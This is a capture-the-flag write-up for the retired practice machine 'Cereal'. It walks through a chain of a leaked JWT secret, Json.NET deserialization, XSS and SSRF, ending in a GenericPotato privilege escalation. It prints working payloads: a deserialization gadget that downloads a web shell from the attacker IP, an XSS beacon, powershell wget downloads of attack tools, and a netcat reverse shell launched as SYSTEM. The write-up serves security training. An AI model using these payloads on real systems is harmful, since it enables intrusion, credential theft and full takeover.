This is the write-up for the box Cereal that got retired at the 29th May 2021. My IP address was 10.10.14.11 while I did this.
Let's put this in our hosts file:
10.10.10.217 cereal.htb
Starting with a Nmap scan:
nmap -sC -sV -o nmap/cereal.nmap 10.10.10.217
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH for_Windows_7.7 (protocol 2.0)
| ssh-hostkey:
| 2048 08:8e:fe:04:8c:ad:6f:df:88:c7:f3:9a:c5:da:6d:ac (RSA)
| 256 fb:f5:7b:a1:68:07:c0:7b:73:d2:ad:33:df:0a:fc:ac (ECDSA)
|_ 256 cc:0e:70:ec:33:42:59:78:31:c0:4e:c2:a5:c9:0e:1e (ED25519)
80/tcp open http Microsoft IIS httpd 10.0
|_http-title: Did not follow redirect to https://10.10.10.217/
|_http-server-header: Microsoft-IIS/10.0
443/tcp open ssl/http Microsoft IIS httpd 10.0
|_http-title: Cereal
| ssl-cert: Subject: commonName=cereal.htb
| Subject Alternative Name: DNS:cereal.htb, DNS:source.cereal.htb
| Not valid before: 2020-11-11T19:57:18
|_Not valid after: 2040-11-11T20:07:19
| tls-alpn:
|_ http/1.1
|_http-server-header: Microsoft-IIS/10.0
|_ssl-date: 2022-05-14T14:30:00+00:00; +1s from scanner time.
Service Info: OS: Windows; CPE: cpe:/o:microsoft:windows
The web service on port 80 automatically forwards to the webpage on port 443.
The certificate contains another hostname source.cereal.htb that has to be added to the /etc/hosts file to access it.
The webpage on the IP and the hostname cereal.htb is a custom-developed login form. The hostname source.cereal.htb forwards to a Compilation Error from the ISS Web Server and discloses the versions of the .NET Framework and ASP.NET:
Lets search for hidden directories and aspx files with Gobuster on source.cereal.htb:
gobuster -u https://source.cereal.htb/ dir -w /usr/share/seclists/Discovery/Web-Content/raft-medium-words-lowercase.txt -x asp,aspx -k
It finds the following directories, but all of them resolve in the HTTP status code 403 Forbidden:
- /.git
- /uploads
- /aspnet_client
Searching for hidden directories and aspx files in these directories:
gobuster -u https://source.cereal.htb/.git/ dir -w /usr/share/seclists/Discovery/Web-Content/raft-medium-words-lowercase.txt -x asp,aspx -k
gobuster -u https://source.cereal.htb/uploads/ dir -w /usr/share/seclists/Discovery/Web-Content/raft-medium-words-lowercase.txt -x asp,aspx -k
In the directory /.git is a whole repository file tree, so lets download everything with git-dumper:
git_dumper.py https://source.cereal.htb/.git/ source.cereal.htb/
It contains source code for a .NET application.
Checking the logs of the repository:
git log
(...)
commit 7bd9533a2e01ec11dfa928bd491fe516477ed291
Author: Sonny <sonny@cere.al>
Date: Thu Nov 14 21:40:06 2019 -0600
Security fixes
There are two potential usernames that work on this application:
- sonny
- chocula
One of the commits has the comment "Security fixes" so that may disclose a vulnerability:
git show 7bd9533a2e01ec11dfa928bd491fe516477ed291
This commit added a filter to prevent deserialization attacks and removed a JWT Token:
// (...)
string json = db.Requests.Where(x => x.RequestId == id).SingleOrDefault().JSON;
// Filter to prevent deserialization attacks mentioned here: https://github.com/pwntester/ysoserial.net/tree/master/ysoserial
if (json.ToLower().Contains("objectdataprovider") || json.ToLower().Contains("windowsidentity") || json.ToLower().Contains("system"))
{
return BadRequest(new { message = "The cereal police have been dispatched." });
}
var cereal = JsonConvert.DeserializeObject(json, new JsonSerializerSettings
{
TypeNameHandling = TypeNameHandling.Auto
});
// (...)
var key = Encoding.ASCII.GetBytes("secretlhfIH&FY*#oysuflkhskjfhefesf");
// (...)
This token is used in the file Services/UserService.cs which uses Claims to generate it:
// (...)
// authentication successful so generate jwt token
var tokenHandler = new JwtSecurityTokenHandler();
var key = Encoding.ASCII.GetBytes("****");
var tokenDescriptor = new SecurityTokenDescriptor
{
Subject = new ClaimsIdentity(new Claim[]
{
new Claim(ClaimTypes.Name, user.UserId.ToString())
}),
Expires = DateTime.UtcNow.AddDays(7),
SigningCredentials = new SigningCredentials(new SymmetricSecurityKey(key), SecurityAlgorithms.HmacSha256Signature)
};
var token = tokenHandler.CreateToken(tokenDescriptor);
user.Token = tokenHandler.WriteToken(token);
// (...)
A new .NET project on Visual Studio with this code can be created and compiled. There are some modifications to make and the code can be found in this repository called cereal_jwt-generate.cs.
Executing the binary to generate a JWT token:
cereal_jwt-generate.exe
eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJ1bmlxdWVfbmFtZSI6IjEiLCJuYmYiOjE2NTI1NDg2MTUsImV4cCI6MTY1MzE1MzQxNSwiaWF0IjoxNjUyNTQ4NjE1fQ.RJSP7T11NA9rUK8d2G6QrYiqXfOahE5Hn9pKzvnQdUo
In the login form on cereal.htb in the file auth-header.js it shows which headers it needs:
// (...)
if (currentUser && currentUser.token) {
return { Authorization: `Bearer ${currentUser.token}`, 'Content-Type': 'application/json'
}
}
// (...)
The file authentication.service.js shows that the token has to be stored in our browsers local storage:
const currentUserSubject = new BehaviorSubject(JSON.parse(localStorage.getItem('currentUser')));
// (...)
Adding token to the local storage with the browsers Developer Tools:
After refreshing the page, it logs us in and shows another tool:
After requesting a cereal, it logs us out because it does not send the authorization header with the request. By intercepting the request with Burpsuite and adding the Authorization header and changing the Content-Type header, it sends a valid response back:
POST /requests HTTP/2
Host: 10.10.10.217
(...)
Content-Type: application/json
(...)
Authorization: Bearer eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJ1bmlxdWVfbmFtZSI6IjEiLCJuYmYiOjE2NTI1NDg2MTUsImV4cCI6MTY1MzE1MzQxNSwiaWF0IjoxNjUyNTQ4NjE1fQ.RJSP7T11NA9rUK8d2G6QrYiqXfOahE5Hn9pKzvnQdUo
{"json":"{\"title\":\"test1\",\"flavor\":\"pizza\",\"color\":\"#FFF\",\"description\":\"test1\"}"}
{"message":"Great cereal request!","id":9}
As seen before in the source code in Controllers/RequestsControllers.cs there is a filter against deserialization attacks. If this filter can be bypassed, then it should be possible to exploit this vulnerability. The code also shows that it uses the library Newtonsoft.Json.
This research paper on Blackhat.com has some examples for this library to use for the payload.
The source code of the file DownloadHelper.cs has code to download files from a web server, but the function is not called anywhere, so we will use it in our payload.
Deserialization payload:
{
"$type": "Cereal.DownloadHelper, Cereal",
"URL": "http://10.10.14.11/cmd.aspx",
"FilePath": "C:/inetpub/source/uploads/cmd.aspx"
}
In Controllers/RequestsControllers.cs is another policy called RestrictIP. This is used in Startup.cs and refers to appsettings.json:
"ApplicationOptions": {
"Whitelist": [ "127.0.0.1", "::1" ]
So the deserialization can only be accessed from localhost, which means that a Server-Side Request Forgery (SSRF) or Cross-Site Scripting (XSS) vulnerability has to be found to bypass that restriction.
In the file App/App.jsx it discloses that there is an /admin path:
<PrivateRoute exact path="/" component={HomePage} />
<PrivateRoute path="/admin" component={AdminPage} />
<Route path="/login" component={LoginPage} />
The file AdminPage/AdminPage.jsx uses the module react-marked-markdown which is not maintained anymore and has a XSS vulnerability.
Cross-Site Scripting payload:
[XSS](javascript: document.write`<img src=http://10.10.14.11/test />`)
Sending the request with the XSS payload:
POST /requests HTTP/2
Host: 10.10.10.217
(...)
Content-Type: application/json
(...)
Authorization: Bearer eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJ1bmlxdWVfbmFtZSI6IjEiLCJuYmYiOjE2NTI1NDg2MTUsImV4cCI6MTY1MzE1MzQxNSwiaWF0IjoxNjUyNTQ4NjE1fQ.RJSP7T11NA9rUK8d2G6QrYiqXfOahE5Hn9pKzvnQdUo
{"json":"{\"title\":\"[XSS](javascript: document.write`<img src=http://10.10.14.11/test />`)\",\"flavor\":\"pizza\",\"color\":\"#FFF\",\"description\":\"test1\"}"}
After a while, the listener on my IP and port 80 gets a response back and proofs that this XSS payload works.
We now have all information to create a script that will exploit this vulnerability chain.
- Creating a JWT token with the secret gained from the git commit
- Storing the deserialization payload on the box by posting to /requests
- Sending the XSS payload to hit the deserialized object from localhost to bypass the RestrictIP function
- Waiting for admin to hit the XSS payload and upload our webshell onto the box
The script can be found in this repository called cereal_exploit.py. Executing our Python script that exploits all these vulnerabilities and uploads an ASPX Web Shell:
python3 cereal_exploit.py
It will upload the web shell cmd.aspx into the /uploads directory of source.cereal.htb.
In the directory C:\inetpub\cereal\db is a SQLite database that contains the password of the user sonny:
type C:\inetpub\cereal\db\cereal.db
sonny:mutual.madden.manner38974
These credentials work on SSH:
ssh sonny@10.10.10.217
The user sonny has the SeImpersonatePrivilege permission enabled:
whoami /all
Privilege Name Description State
============================= ========================================= =======
SeImpersonatePrivilege Impersonate a client after authentication Enabled
Unfortunately there is a firewall that denies connections to outbound port 135 and a RoguePotato attack is not possible.
When checking the listening ports with netstat -an
there is port 8080 running.
Forwarding port 8080 to our local client:
ssh -L 8080:127.0.0.1:8080 sonny@10.10.10.217
When browsing to 127.0.0.1:8080 it is possible to access this web service with the title "Cereal System Manager". By inspecting the network connections with the browsers Developer Tools, it shows that it makes a connection to /api/graphql.
GraphQL is a query language for APIs and I will use GraphQL Playground to interact with it.
URL Endpoint: http://localhost:8080/api/graphql
This IDE shows the schema and docs on the right side and we can request the data and enumerate API for useful information. The query updatePlant has an argument sourceURL that allows us to run HTTP requests:
mutation {
updatePlant(plantId:1, version:1.1, sourceURL:"http://10.10.14.11/")
}
This feature can be used to abuse a Server-Side Request Forgery attack and escalate privileges of the current user. For this exploit I will use GenericPotato.
Downloading GenericPotato.exe and nc.exe onto the box:
powershell wget 10.10.14.11/GenericPotato.exe -o GenericPotato.exe
powershell wget 10.10.14.11/nc.exe -o nc.exe
Executing GenericPotato.exe and starting the listener on port 8888:
GenericPotato.exe -e HTTP -p nc.exe -a "10.10.14.11 80 -e powershell"
[+] Starting HTTP listener on port http://127.0.0.1:8888
[+] Listener ready
Sending a request to the listener from the GraphQL service:
mutation {
updatePlant(plantId:1, version:1.1, sourceURL:"http://127.0.0.1:8888/")
}
After sending the request, the listener on my IP and port 80 starts a reverse shell as System!